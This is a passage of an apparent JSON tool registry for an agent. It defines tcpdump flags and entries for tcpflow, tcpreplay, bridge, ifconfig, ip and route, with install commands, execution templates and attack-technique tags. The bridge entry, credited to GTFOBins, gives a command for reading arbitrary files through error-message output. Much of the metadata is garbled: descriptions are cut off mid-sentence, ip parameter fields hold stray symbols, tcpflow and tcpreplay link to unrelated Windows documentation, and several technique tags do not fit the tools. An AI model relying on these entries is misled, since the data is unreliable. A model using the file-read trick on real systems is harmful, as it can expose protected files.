        "name": "flag-M",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use secret as a shared secret for validating the digests found in TCP segments with the TCP-MD5 option (RFC 2385), if present",
        "aliases": [
          "-M"
        ],
        "flag": "-M"
      },
      {
        "name": "flag-O",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--no-optimize Do not run the packet-matching code optimizer. This is useful only if you suspect a bug in the optimizer",
        "aliases": [
          "-O"
        ],
        "flag": "-O"
      },
      {
        "name": "flag-Q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--direction=direction Choose send/receive direction direction for which packets should be captured. Possible values are `in', `out' and `inout'. Not available on all platforms",
        "aliases": [
          "-Q"
        ],
        "flag": "-Q"
      },
      {
        "name": "flag-S",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--absolute-tcp-sequence-numbers Print absolute, rather than relative, TCP sequence numbers",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "flag-T",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Force packets selected by \"expression\" to be interpreted the specified type. Currently known types are aodv (Ad-hoc On-demand Distance Vector protocol), carp (Common Address Redundancy Proto‐ col), cnfp (Cisco NetFlow protocol), domain (Domain Name System), lmp (Link Management Protocol), pgm (Pragmatic General Multi‐ cast), pgm_zmtp1 (ZMTP/1.0 inside PGM/EPGM), ptp (Precision Time Protocol), radius (RADIUS), resp (REdis Serialization Protocol), rpc (Remote Procedure Call), rtcp (Real-Time Applications control protocol), rtp (Real-Time Applications protocol), snmp (Simple Network Management Protocol), someip (SOME/IP), tftp (Trivial File Transfer Protocol), vat (Visual Audio Tool), vxlan (Virtual eXtensible Local Area Network), wb (distributed White Board) and zmtp1 (ZeroMQ Message Transport Protocol 1.0)",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-U",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "be ``packet-buffered'', so that the output is written to stdout at the end of each packet rather than at the end of each line; this is buffered on all platforms, including Windows",
        "aliases": [
          "-U",
          "-l"
        ],
        "flag": "-U"
      },
      {
        "name": "flag-U-2",
        "template_key": "flag-u-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--packet-buffered If the -w option is not specified, or if it is specified but the --print flag is also specified, make the printed packet output ``packet-buffered''; i.e., as the description of the contents of each packet is printed, it will be written to the standard out‐ put, rather than, when not writing to a terminal, being written only when the output buffer fills",
        "aliases": [
          "-U"
        ],
        "flag": "-U"
      },
      {
        "name": "flag-V",
        "template_key": "flag-v",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Read a list of filenames from file. Standard input is used if file is ``-''",
        "aliases": [
          "-V"
        ],
        "flag": "-V"
      },
      {
        "name": "flag-W",
        "template_key": "flag-w",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Used in conjunction with the -C option, this will limit the num‐ ber of files created to the specified number, and begin overwrit‐ ing files from the beginning, thus creating a 'rotating' buffer. In addition, it will name the files with enough leading 0s to support the maximum number of files, allowing them to sort cor‐ rectly",
        "aliases": [
          "-W"
        ],
        "flag": "-W"
      },
      {
        "name": "flag-Z",
        "template_key": "flag-z",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--relinquish-privileges=user If tcpdump is running as root, after opening the capture device or input savefile, but before opening any savefiles for output, change the user ID to user and the group ID to the primary group of user",
        "aliases": [
          "-Z"
        ],
        "flag": "-Z"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "where the interface name is a somewhat complex string",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print the AS number in BGP packets in ASDOT notation rather than",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Exit after receiving count packets",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Dump the compiled packet-matching code in a human readable form",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-d-2",
        "template_key": "flag-d-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Dump packet-matching code as a C program fragment",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-d-3",
        "template_key": "flag-d-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Dump packet-matching code as decimal numbers (preceded with a",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print the link-level header on each dump line. This can be used",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Print `foreign' IPv4 addresses numerically rather than symboli‐",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-g",
        "template_key": "flag-g",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--ip-oneline Do not insert a line break after the IP header in verbose mode",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--help Print the tcpdump and libpcap version strings, print a usage mes‐ sage, and exit",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "In this case the DLT defaults to EN10MB and can be set to",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-i-2",
        "template_key": "flag-i-2",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "--interface=interface Listen, report the list of link-layer types, report the list of time stamp types, or report the results of compiling a filter ex‐ pression on interface. If unspecified and if the -d flag is not given, tcpdump searches the system interface list for the lowest numbered, configured up interface (excluding loopback), which may turn out to be, for example, ``eth0''",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-j",
        "template_key": "flag-j",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--time-stamp-type=tstamp_type Set the time stamp type for the capture to tstamp_type. The names to use for the time stamp types are given in pcap-tstamp(7); not all the types listed there will necessarily be valid for any given interface",
        "aliases": [
          "-j"
        ],
        "flag": "-j"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Make stdout line buffered. Useful if you want to see the data",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Load SMI MIB module definitions from file module. This option can be used several times to load several MIB modules into tcp‐ dump",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Don't convert addresses (i.e., host addresses, port numbers",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--no-promiscuous-mode Don't put the interface into promiscuous mode. Note that the in‐ terface might be in promiscuous mode for some other reason; hence, `-p' cannot be used as an abbreviation for `ether host {local-hw-addr} or ether broadcast'",
        "aliases": [
          "-p"
        ],
        "enum": [
          "local-hw-addr"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Quick (quiet?) output. Print less protocol information so output",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "read packets from a network interface. It can also be run with the -V flag, which causes it to read a list of saved packet files. In all cases, only packets that match expression will be processed by tcpdump",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-r-2",
        "template_key": "flag-r-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Read packets from file (which was created with the -w option or by other tools that write pcap or pcapng files). Standard input is used if file is ``-''",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--snapshot-length=snaplen Snarf snaplen bytes of data from each packet rather than the de‐ fault of 262144 bytes. Packets truncated because of a limited snapshot are indicated in the output with ``[|proto]'', where proto is the name of the protocol level at which the truncation has occurred",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't print a timestamp on each dump line",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-t-2",
        "template_key": "flag-t-2",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "Print the timestamp, as seconds since January 1, 1970, 00:00:00",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-t-3",
        "template_key": "flag-t-3",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "Print a delta (microsecond or nanosecond resolution depending on",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-t-4",
        "template_key": "flag-t-4",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "second since midnight, preceded by the date, on each dump line",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-t-5",
        "template_key": "flag-t-5",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "the --time-stamp-precision option) between current and first line on each dump line. The default is microsecond resolution",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print undecoded NFS handles",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "When parsing and printing, produce (slightly more) verbose out‐",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-v-2",
        "template_key": "flag-v-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Even more verbose output. For example, additional fields are",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-v-3",
        "template_key": "flag-v-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Even more verbose output. For example, telnet SB ... SE options",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Write the raw packets to file rather than parsing and printing them out. They can later be printed with the -r option. Stan‐ dard output is used if file is ``-''",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "When parsing and printing, in addition to printing the headers of",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-x-2",
        "template_key": "flag-x-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "When parsing and printing, in addition to printing the headers of",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-y",
        "template_key": "flag-y",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--linktype=datalinktype Set the data link type to use while capturing packets (see -L) or just compiling and dumping packet-matching code (see -d) to datalinktype",
        "aliases": [
          "-y"
        ],
        "flag": "-y"
      },
      {
        "name": "flag-z",
        "template_key": "flag-z",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Used in conjunction with the -C or -G options, this will make tcpdump run \" postrotate-command file \" where file is the save‐ file being closed after each rotation. For example, specifying -z gzip or -z bzip2 will compress each savefile using gzip or bzip2",
        "aliases": [
          "-z",
          "-c"
        ],
        "flag": "-z"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "Print the tcpdump and libpcap version strings, print a usage mes‐",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "immediate-mode",
        "template_key": "immediate-mode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Capture in \"immediate mode\". In this mode, packets are delivered to tcpdump as soon as they arrive, rather than being buffered for efficiency. This is the default when printing packets rather than saving packets to a ``savefile'' if the packets are being printed to a terminal rather than to a file or pipe",
        "aliases": [
          "--immediate-mode"
        ],
        "flag": "--immediate-mode"
      },
      {
        "name": "interface",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--interface"
        ],
        "flag": "--interface"
      },
      {
        "name": "ip_oneline",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--ip-oneline"
        ],
        "flag": "--ip-oneline"
      },
      {
        "name": "linktype",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--linktype"
        ],
        "flag": "--linktype"
      },
      {
        "name": "list_data_link_types",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--list-data-link-types"
        ],
        "flag": "--list-data-link-types"
      },
      {
        "name": "list_interfaces",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--list-interfaces"
        ],
        "flag": "--list-interfaces"
      },
      {
        "name": "list_time_stamp_types",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--list-time-stamp-types"
        ],
        "flag": "--list-time-stamp-types"
      },
      {
        "name": "micro",
        "template_key": "micro",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "--nano Shorthands for --time-stamp-precision=micro or --time-stamp-pre‐ cision=nano, adjusting the time stamp precision accordingly. When reading packets from a savefile, using --micro truncates time stamps if the savefile was created with nanosecond preci‐ sion. In contrast, a savefile created with microsecond precision will have trailing zeroes added to the time stamp when --nano is used",
        "aliases": [
          "--micro"
        ],
        "flag": "--micro"
      },
      {
        "name": "monitor_mode",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--monitor-mode"
        ],
        "flag": "--monitor-mode"
      },
      {
        "name": "nano",
        "type": "boolean",
        "required": false,
        "description": "‐",
        "aliases": [
          "--nano",
          "--time-stamp-precision",
          "--time-stamp-pre"
        ],
        "flag": "--nano"
      },
      {
        "name": "no_optimize",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-optimize"
        ],
        "flag": "--no-optimize"
      },
      {
        "name": "no_promiscuous_mode",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-promiscuous-mode"
        ],
        "flag": "--no-promiscuous-mode"
      },
      {
        "name": "number",
        "template_key": "number",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print a packet number at the beginning of the line",
        "aliases": [
          "--number"
        ],
        "flag": "--number"
      },
      {
        "name": "packet_buffered",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--packet-buffered"
        ],
        "flag": "--packet-buffered"
      },
      {
        "name": "print",
        "template_key": "print",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print parsed packet output, even if the raw packets are being saved to a file with the -w flag",
        "aliases": [
          "--print"
        ],
        "flag": "--print"
      },
      {
        "name": "relinquish_privileges",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--relinquish-privileges"
        ],
        "flag": "--relinquish-privileges"
      },
      {
        "name": "snapshot_length",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--snapshot-length"
        ],
        "flag": "--snapshot-length"
      },
      {
        "name": "time-stamp-precision",
        "template_key": "time-stamp-precision",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "When capturing, set the time stamp precision for the capture to tstamp_precision. Note that availability of high precision time stamps (nanoseconds) and their actual accuracy is platform and hardware dependent. Also note that when writing captures made with nanosecond accuracy to a savefile, the time stamps are writ‐ ten with nanosecond resolution, and the file is written with a different magic number, to indicate that the time stamps are in seconds and nanoseconds; not all programs that read pcap save‐ files will be able to read those captures",
        "aliases": [
          "--time-stamp-precision"
        ],
        "flag": "--time-stamp-precision"
      },
      {
        "name": "time_stamp_type",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--time-stamp-type"
        ],
        "flag": "--time-stamp-type"
      },
      {
        "name": "tt",
        "type": "boolean",
        "required": false,
        "description": "Print the timestamp, as seconds since January 1, 1970,  00:00:00,",
        "aliases": [
          "-tt"
        ],
        "flag": "-tt"
      },
      {
        "name": "ttt",
        "type": "boolean",
        "required": false,
        "description": "Print a delta (microsecond or nanosecond resolution depending  on",
        "aliases": [
          "-ttt"
        ],
        "flag": "-ttt"
      },
      {
        "name": "tttt",
        "type": "boolean",
        "required": false,
        "description": "Print a timestamp, as hours, minutes, seconds, and fractions of a",
        "aliases": [
          "-tttt"
        ],
        "flag": "-tttt"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print the tcpdump and libpcap version strings and exit",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "vv",
        "type": "boolean",
        "required": false,
        "description": "Even  more  verbose  output.   For example, additional fields are",
        "aliases": [
          "-vv"
        ],
        "flag": "-vv"
      },
      {
        "name": "vvv",
        "type": "boolean",
        "required": false,
        "description": "Even  more verbose output.  For example, telnet SB ... SE options",
        "aliases": [
          "-vvv"
        ],
        "flag": "-vvv"
      },
      {
        "name": "xx",
        "type": "boolean",
        "required": false,
        "description": "When parsing and printing, in addition to printing the headers of",
        "aliases": [
          "-xx"
        ],
        "flag": "-xx"
      }
    ],
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "network-sniffing",
      "discovery",
      "recon",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "tcpflow.md",
    "capabilities": [
      "network.diagnostics",
      "network.configuration",
      "system.information-gathering"
    ],
    "description": "Captures TCP connections and reconstructs data streams.",
    "examples": [
      {
        "description": "Display help for tcpflow",
        "command": "tcpflow --help"
      }
    ],
    "execution": {
      "template": "tcpflow --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "net-tcpflow",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y tcpflow"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "tcpflow",
    "namespace": "network:capture:traffic",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "tcpflow Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tcpflow"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "tcpreplay.md",
    "capabilities": [
      "network.diagnostics",
      "network.configuration",
      "system.information-gathering"
    ],
    "description": "Replays pcap network traffic for device testing.",
    "examples": [
      {
        "description": "Display help for tcpreplay",
        "command": "tcpreplay --help"
      }
    ],
    "execution": {
      "template": "tcpreplay --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "net-tcpreplay",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y tcpreplay"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "tcpreplay",
    "namespace": "network:capture:traffic",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "tcpreplay Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tcpreplay"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "bridge.md",
    "allowed-tools": [
      "bridge",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content in error message"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Configure network bridges, can read files via error message output.",
    "examples": [
      {
        "description": "Read a file via bridge error message",
        "command": "bridge -b /path/to/input-file"
      }
    ],
    "execution": {
      "template": "bridge -b {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "network-config-bridge",
    "install": [
      {
        "method": "apt",
        "package_name": "bridge-utils",
        "commands": [
          "apt-get install -y bridge-utils"
        ]
      }
    ],
    "name": "bridge",
    "namespace": "network:config:bridge",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/bridge/"
      }
    ],
    "related_tools": [
      "ip",
      "ifconfig"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# ifconfig — Configure network interfaces\n\n## Overview\n\n`ifconfig` is a command-line utility for configure network interfaces.\n\n## Usage\n\n```\nifconfig\n```\n",
    "_source": "ifconfig.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.config.ifconfig"
    ],
    "description": "Configure network interfaces",
    "examples": [
      {
        "description": "Display help message",
        "command": "ifconfig --help"
      },
      {
        "description": "Display all network interfaces and their configuration",
        "command": "ifconfig"
      },
      {
        "description": "View configuration details for a specific interface (e.g., eth0)",
        "command": "ifconfig eth0"
      },
      {
        "description": "Enable a network interface (e.g., eth0)",
        "command": "ifconfig eth0 up"
      },
      {
        "description": "Disable a network interface (e.g., eth0)",
        "command": "ifconfig eth0 down"
      },
      {
        "description": "Assign an IP address to an interface (e.g., eth0)",
        "command": "ifconfig eth0 192.168.1.10"
      },
      {
        "description": "Set a subnet mask on a network interface",
        "command": "ifconfig eth0 netmask 255.255.255.0"
      },
      {
        "description": "Add an alias for a network interface with a separate IP address",
        "command": "ifconfig eth0:0 192.168.1.20"
      },
      {
        "description": "Remove alias from a network interface",
        "command": "ifconfig eth0:0 down"
      },
      {
        "description": "Set a broadcast address on a network interface",
        "command": "ifconfig eth0 broadcast 192.168.1.255"
      },
      {
        "description": "Change the MAC address of a network interface",
        "command": "ifconfig eth0 hw ether 00:11:22:33:44:55"
      }
    ],
    "execution": {
      "template": "ifconfig",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "remote",
      "network-intensive",
      "requires-root"
    ],
    "id": "network-config-ifconfig",
    "install": [
      {
        "method": "apt",
        "package_name": "net-tools",
        "commands": [
          "apt-get install -y net-tools"
        ]
      }
    ],
    "name": "ifconfig",
    "namespace": "network:config:ifconfig",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "network-config-ip"
    ],
    "risk_level": "low",
    "techniques": [
      "defense-evasion",
      "discovery",
      "network-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# ip — Show/manipulate routing, devices, policy routing and tunnels\n\n## Overview\n\n`ip` is a command-line utility for show/manipulate routing, devices, policy routing and tunnels.\n\n## Usage\n\n```\nip -h {flag-h}\n```\n",
    "_source": "ip.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.config.ip"
    ],
    "description": "Show/manipulate routing, devices, policy routing and tunnels",
    "examples": [
      {
        "description": "Use flag-h flag",
        "command": "ip inet"
      },
      {
        "description": "Display help message",
        "command": "ip --help"
      },
      {
        "description": "Display the current IP addresses and network interfaces",
        "command": "ip addr show"
      },
      {
        "description": "Display the routing table",
        "command": "ip route show"
      },
      {
        "description": "Add a new IP address to an interface",
        "command": "ip addr add 192.168.1.100/24 dev eth0"
      },
      {
        "description": "Delete an IP address from an interface",
        "command": "ip addr del 192.168.1.100/24 dev eth0"
      },
      {
        "description": "Bring an interface up",
        "command": "ip link set dev eth0 up"
      },
      {
        "description": "Bring an interface down",
        "command": "ip link set dev eth0 down"
      },
      {
        "description": "Show network interfaces and link status",
        "command": "ip link show"
      },
      {
        "description": "Add a new default gateway",
        "command": "ip route add default via 192.168.1.1"
      },
      {
        "description": "Delete the default gateway",
        "command": "ip route del default"
      },
      {
        "description": "Flush all IP addresses on an interface",
        "command": "ip addr flush dev eth0"
      },
      {
        "description": "Change the MAC address of an interface",
        "command": "ip link set dev eth0 address 00:11:22:33:44:55"
      },
      {
        "description": "Show information about tunnels",
        "command": "ip tunnel show"
      },
      {
        "description": "Shortcut: Show brief information about IP addresses and devices",
        "command": "ip -brief addr show"
      },
      {
        "description": "Shortcut: Show brief information about link status",
        "command": "ip -brief link show"
      }
    ],
    "execution": {
      "template": "ip -h {flag-h}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "remote",
      "network-intensive",
      "requires-root"
    ],
    "id": "network-config-ip",
    "install": [
      {
        "method": "apt",
        "package_name": "iproute2",
        "commands": [
          "apt-get install -y iproute2"
        ]
      }
    ],
    "name": "ip",
    "namespace": "network:config:ip",
    "parameters": [
      {
        "name": "4",
        "type": "boolean",
        "required": false,
        "description": "|",
        "aliases": [
          "-4",
          "-6",
          "-M",
          "-B",
          "-0"
        ],
        "flag": "-4"
      },
      {
        "name": "c",
        "type": "boolean",
        "required": false,
        "description": "}",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "f",
        "type": "boolean",
        "required": false,
        "description": "{ inet | inet6 | mpls | bridge | link } |",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "-f[amily] { inet | inet6 | mpls | bridge | link } | -4 | -6 | -M | -B | -0 | -l[oops] { maximum-addr-flush-attempts } | -echo | -br[ief] | -o[neline] | -t[imestamp] | -ts[hort] | -b[atch] [filename] | -rc[vbuf] [size] | -n[etns] name | -N[umeric] | -a[ll] | -c[olor]}",
        "aliases": [
          "-h",
          "-r",
          "-i",
          "-j",
          "-p"
        ],
        "enum": [
          "inet",
          "inet6",
          "mpls",
          "bridge",
          "link"
        ],
        "flag": "-h"
      },
      {
        "name": "l",
        "type": "boolean",
        "required": false,
        "description": "|",
        "aliases": [
          "-l",
          "-addr-flush-attempts",
          "-echo",
          "-br"
        ],
        "flag": "-l"
      },
      {
        "name": "o",
        "type": "boolean",
        "required": false,
        "description": "[filename] |",
        "aliases": [
          "-o",
          "-t",
          "-ts",
          "-b"
        ],
        "flag": "-o"
      },
      {
        "name": "rc",
        "type": "boolean",
        "required": false,
        "description": "| -a[ll] |",
        "aliases": [
          "-rc",
          "-n",
          "-N"
        ],
        "flag": "-n"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "network-config-ifconfig"
    ],
    "risk_level": "low",
    "techniques": [
      "defense-evasion",
      "network-manipulation",
      "discovery",
      "command-and-control",
      "enumeration",
      "execution",
      "exfiltration",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# route — Show/manipulate the IP routing table\n\n## Overview\n\n`route` is a command-line utility for show/manipulate the ip routing table.\n\n## Usage\n\n```\nroute -v {verbose} -n {numeric} -e {extend} -F {fib} -C {cache}\n```\n",
    "_source": "route.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.config.route"
    ],
    "description": "Show/manipulate the IP routing table",
    "examples": [
      {
        "description": "Basic usage with verbose",
        "command": "route ${verbose}"
      },
      {
        "description": "Display help message",
        "command": "route --help"
      },
      {
        "description": "Display the IP routing table",
        "command": "route"
      },
      {
        "description": "Add a new route to a specific network",
        "command": "route add -net {network} netmask {netmask} gw {gateway} {interface}"
      },
      {
        "description": "Add a default gateway",
        "command": "route add default gw {gateway} {interface}"
      },
      {
        "description": "Delete a route to a specific network",
        "command": "route del -net {network} netmask {netmask} gw {gateway} {interface}"
      },
      {
        "description": "Delete the default gateway",
        "command": "route del default"
      },
      {
        "description": "Add a route to a host",
        "command": "route add -host {destination-host} gw {gateway} {interface}"
      },
      {
        "description": "Change the metric of a route",
        "command": "route change -net {network} netmask {netmask} gw {gateway} {interface} metric {metric}"
      },
      {
        "description": "Show the routing table continuously with a delay",
        "command": "watch -n 1 route -n"
      }
    ],
    "execution": {
      "template": "route -v {verbose} -n {numeric} -e {extend} -F {fib} -C {cache}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "remote",
      "network-intensive",
      "requires-root"
    ],
    "id": "network-config-route",
    "install": [
      {
        "method": "apt",
        "package_name": "net-tools",
        "commands": [
          "apt-get install -y net-tools"
        ]
      }
    ],
    "name": "route",
    "namespace": "network:config:route",
